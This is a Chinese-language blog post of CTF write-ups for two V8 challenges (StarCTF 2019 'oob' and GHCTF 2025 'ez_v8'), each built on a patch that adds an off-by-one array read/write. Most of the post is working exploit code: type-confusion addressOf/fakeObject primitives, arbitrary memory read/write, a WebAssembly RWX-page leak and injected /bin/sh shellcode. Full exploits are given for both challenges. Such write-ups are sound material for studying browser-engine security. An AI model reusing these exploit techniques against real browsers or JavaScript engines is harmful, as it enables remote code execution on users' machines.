V8 PWN做题记录

V8的基础知识可以跟着Colin师傅的博客学习,写的非常详细:chrome v8 pwn 学习 (1) | CoLin’s BLOG

ps:我的环境在用x64_debug时候越界操作会报错,x64_release时候job用不了,也是挺糟心。

2019 StarCTF oob

参考博客:从一道CTF题零基础学V8漏洞利用 – FreeBuf网络安全行业门户

分析diff文件:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

自定义了oob函数,return *(isolate->factory()->NewNumber(elements.get_scalar(length)))存在越界读;elements.set(length,value->Number())存在越界写。

举个例子,var a=[1,2,3],下标分别是0、1、2,但oob函数的读写操作却是读写到length(即3)下标位置,越界了一个单位。

如下图所示,oob一开始越界会读出奇怪的东西,当越界赋值后,读到的就是赋过的那个值了:

那么到底读到的是什么呢?下面测试一下:

js测试代码:

var a = [1,2,3.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

通过在gdb中set args –allow-natives-syntax 1.js来调试:

DebugPrint: 0x255bc554de21: [JSArray]
 - map: 0x24227a582ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x032d3a4d1111 <JSArray[0]>
 - elements: 0x255bc554ddf9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x2c2a498c0c71 <FixedArray[0]> {
    #length: 0x2c4c730401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x255bc554ddf9 <FixedDoubleArray[3]> {
           0: 1
           1: 2
           2: 3.1
 }
0x24227a582ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x24227a582e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2c4c73040609 <Cell value= 1>
 - instance descriptors #1: 0x032d3a4d1f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x032d3a4d1eb9 <TransitionArray[4]>Transition array #1:
     0x2c2a498c4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x24227a582f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x032d3a4d1111 <JSArray[0]>
 - constructor: 0x032d3a4d0ec1 <JSFunction Array (sfi = 0x2c4c7304aca1)>
 - dependent code: 0x2c2a498c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

分析可得到数组存储结构如下:

所以通过oob函数off by one读写操作,可以读写一个数组的map值。

这就引出了V8引擎里面危害非常大的一个利用方法:类型混淆

把一个浮点数数组的map改成对象数组的map,可以伪造一个对象数组;把一个对象数组的map改成浮点数数组的map,可以泄露数组地址。

由此可以构造出两个函数——addressOffakeObject,一个伪造对象数组,一个泄露地址,在构造前还得先写好不同类型数据转换的函数:

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
    return obj_addr;
}

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
    return faked_obj;
}

ps:+1和-1操作是因为v8为了区分对象数组,会在地址上+1,再计算的时候需要考虑进去。

现在有了addressOffakeObject两个函数,该如何利用这两个函数来实现任意地址读写呢?

思路是,首先通过一个浮点数数组来伪造一个fake_object,然后通过addressOf泄露该浮点数数组的地址,进而计算出fake_object的地址,然后通过fakeObject把伪造的数组变成一个合法的对象数组,由于这个对象数组的elements指针是可控的,所以就实现了任意地址读写:

var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

进而构造出任意地址写和任意地址读:

var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

现在具备了任意地址读写的能力,接下来考虑的就是如何getshell了。

考虑两种方式,一种打system/one_gadget,一种打shellcode。

前者需要泄露地址,泄露方法多样,可以通过遍历内存找到指令地址(随机泄露),也可以通过读一些已知的会存放指令地址的地址来泄露(稳定泄露)详情见从一道CTF题零基础学V8漏洞利用 – FreeBuf网络安全行业门户

这里着重谈谈shellcode,这里要用到wasm,wasm可以通俗地理解成V8中可以执行汇编代码的一项技术,往wasm所属的地址写入shellcode,然后调用wasm接口就能执行shellcode.

查看wasm所属地址:

首先查看接口地址:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

经过Function–>shared_info–>WasmExportedFunctionData–>instance等一系列调用关系,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址:

pwndbg> job 0x000029c78a5e2069 <-- Function接口对象
0x29c78a5e2069: [Function] in OldSpace
 - map: 0x21ba60f84379 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x29c78a5c2109 <JSFunction (sfi = 0x375c767c3b29)>
 - elements: 0x099635fc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x29c78a5e2031 <SharedFunctionInfo 0> <--找到shared_info
 - name: 0x099635fc4ae1 <String[#1]: 0>
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x29c78a5c1869 <NativeContext[246]>
 - code: 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
 - WASM instance 0x29c78a5e1e71
 - WASM function index 0
 - properties: 0x099635fc0c71 <FixedArray[0]> {
    #length: 0x375c767c04b9 <AccessorInfo> (const accessor descriptor)
    #name: 0x375c767c0449 <AccessorInfo> (const accessor descriptor)
    #arguments: 0x375c767c0369 <AccessorInfo> (const accessor descriptor)
    #caller: 0x375c767c03d9 <AccessorInfo> (const accessor descriptor)
 }
​
 - feedback vector: not available
pwndbg> job 0x29c78a5e2031 <--查看shared_info
0x29c78a5e2031: [SharedFunctionInfo] in OldSpace
 - map: 0x099635fc09e1 <Map[56]>
 - name: 0x099635fc4ae1 <String[#1]: 0>
 - kind: NormalFunction
 - function_map_index: 144
 - formal_parameter_count: 0
 - expected_nof_properties: 0
 - language_mode: sloppy
 - data: 0x29c78a5e2009 <WasmExportedFunctionData> <-- 找到WasmExportedFunctionData
 - code (from data): 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
 - function token position: -1
 - start position: -1
 - end position: -1
 - no debug info
 - scope info: 0x099635fc0c61 <ScopeInfo[0]>
 - length: 0
 - feedback_metadata: 0x99635fc2a39: [FeedbackMetadata]
 - map: 0x099635fc1319 <Map>
 - slot_count: 0
​
pwndbg> job 0x29c78a5e2009 <-- WasmExportedFunctionData
0x29c78a5e2009: [WasmExportedFunctionData] in OldSpace
 - map: 0x099635fc5879 <Map[40]>
 - wrapper_code: 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
 - instance: 0x29c78a5e1e71 <Instance map = 0x21ba60f89789> <-- 找到instance
 - function_index: 0
pwndbg> telescope 0x29c78a5e1e70+0x88 <-- instance+0x88的位置存储的即为RWX内存页起始地址
00:0000│   0x29c78a5e1ef8 —▸ 0x2257a726c000 ◂— movabs r10, 0x2257a726c260 /* 0x2257a726c260ba49 */
01:0008│   0x29c78a5e1f00 —▸ 0xfaa2fd10971 ◂— 0x71000021ba60f891
pwndbg> vmmap 0x2257a726c000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x2257a726c000     0x2257a726d000 rwxp     1000 0      

由此可以写出泄露RWX内存页起始地址的代码:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

然后写入shellcode:

var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

完整exp:

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
    return obj_addr;
}

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
    return faked_obj;
}


var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);


f();

成功getshell:

GHCTF 2025 ez_v8

diff:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36b5e9..406ca1eac98 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1666,6 +1666,10 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
+    SimpleInstallFunction(isolate_, proto, "Myread",
+                          Builtins::kMyread, 1, false);
+    SimpleInstallFunction(isolate_, proto, "Mywrite",
+                          Builtins::kMywrite, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
     SimpleInstallFunction(isolate_, proto, "find",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340ece7a..604a876df01 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,39 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(Myread) {
+  uint32_t len = args.length();
+  if( len > 1 ) return ReadOnlyRoots(isolate).undefined_value();
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate,args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+  uint32_t length = static_cast<uint32_t>(array->length()->Number());
+  return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+}
+
+BUILTIN(Mywrite) {
+  uint32_t len = args.length();
+  if( len > 2 ) return ReadOnlyRoots(isolate).undefined_value();
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate,args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+  uint32_t length = static_cast<uint32_t>(array->length()->Number());
+   
+  if( len == 2) {
+    Handle<Object> value;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+    elements.set(length,value->Number());
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 04472309fc0..752a08ce7ca 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,8 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(Myread)                                                                  \
+  CPP(Mywrite)                                                                 \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5c6d8..11b28a92e13 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1678,6 +1678,10 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Boolean();
     case Builtins::kArrayPrototypeSplice:
       return Type::Receiver();
+    case Builtins::kMyread:
+      return Type::Receiver();
+    case Builtins::kMywrite:
+      return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;

稍微审计一下即可看出,自定义了Myread和Mywrite函数,其实就是把oob这道题的oob函数拆分成了这两个函数来执行,直接简单改exp即可:

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.Myread();
var float_array_map = float_array.Myread();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.Mywrite(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.Mywrite(obj_array_map); // 还原array类型,以便后续继续使用
    return obj_addr;
}

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.Mywrite(obj_array_map);
    let faked_obj = float_array[0];
    float_array.Mywrite(float_array_map); // 还原array类型,以便后续继续使用
    return faked_obj;
}


var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

f();
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇